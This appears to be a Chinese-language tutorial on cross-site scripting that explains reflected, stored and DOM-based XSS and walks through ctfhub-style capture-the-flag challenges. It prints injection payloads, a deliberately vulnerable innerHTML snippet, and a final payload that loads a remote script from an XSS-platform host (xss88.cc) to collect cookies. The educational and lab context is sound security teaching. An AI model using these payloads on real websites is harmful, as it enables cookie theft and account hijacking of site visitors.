XSS原理

指攻击者利用网站程序对用户的输入过滤不足,输入可以显示在页面上对其它用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或者处理不严谨的时候,浏览器就会直接执行用户注入的脚本。

XSS产生于前端的漏洞,常产生于:

1.数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
2.数据输出的地方
用户资料
关键词、标签、说明
文件上传

反射型XSS攻击

原理

反射型xss又称为非持久型xss,需要欺骗用户去点击链接才能触达xss代码。一般容易出现在搜索页面,反射型xss大多数用来盗取用户的Cookie信息,由于是非持久性的xss,其危害满足条件也很苛刻,所以现实生活中一般很少有厂家接收这个漏洞。下图很好的概括了反射型xss的攻击流程

1645676066748-edae56e3-341d-43e8-aa5a-723282b9ba90.png

实例演示

我们以一道CTF题目来演示什么是反射型xss以及什么是xss平台

image-20240804155412316

我们一进来就看就有空格过滤,我们先随便试一试,看看能不能进行简单的弹窗,我们先输入<script>alert(1)</script>,观察有什么结果出现

image-20240804155638757

image-20240804155729399

我们发现进行了弹窗,这也印证了此处存在xss漏洞,我们可以使用xss平台当作我们的恶意服务器进行信息的接收,如下所示

image-20240804160222639

我们将这里面的script语句插入原来的框内,点击submit,然后将得到的url粘贴进send url中,如下所示

image-20240804160418648

然后我们在我们的xss平台就可以接收到相关的信息,成功获得flag

image-20240804160454620

image-20240804160555228

存储型XSS攻击

原理

是持久型xss攻击,攻击代码会被存储进被害者数据库中,类似于留言板和评论的地方,攻击者将攻击代码xss植入留言板后,之后的人只要访问留言板就会受到攻击,其相关原理图如下所示

1645676102364-3d7c9835-2926-4b89-bbe1-2a7dc2830058.png

实例演示

我们以ctfhub上的题目作为演示,如下所示,同样将刚刚的代码复制到第一个框中

image-20240804161821710

可以发现我们这里的url并不带有像反射型xss一样的后缀,说明这里是存储型xss,已经将恶意代码存储到服务器中去了,我们这里只需要访问该url即可,如下所示

image-20240804162402587

image-20240804162947533

同样可以获取flag

DOM型XSS攻击

原理

DOM型XSS比较特殊,是基于文档对象模型的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,它不经过后端,完全由前端代码组成,其产生代码如下所示

function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
对传过来的数据进行接受赋值给str,str在进行接连地址,构造一个完整的地址。
比如输入123,然后点击,他的地址就会变成http://127.0.0.1:8081/web/mysql/123,这个值在<a href="123">what do you see?</a>这里显示,那么就可以构造payload' onclick="alert('xss')"> '><img src="#" onmouseover="alert('xss')">

实例演示

由于DOM类型全部发生在前端,所以我们可以先查看一下前端源码,看看能不能有什么特殊的启示,首先查看源码,如下所示

image-20240804164225860

我们的script语句肯定不能被单引号闭合,否则被当作字符串进行执行,就达不到我们想要的效果了,这里我们先传进行一个srcipt语句,看看不做任何处理会发生什么

image-20240804164536726

被包含进去了,且页面没有任何变化,所以我们要闭合单引号、分号、<script>,所以输入';</script><script>alert(1)</script>如下所示

image-20240804165144773

所以接下来输入';</script><sCRiPt sRC=//xss88.cc/er6></sCrIpT>//,之后在xss平台上查看即可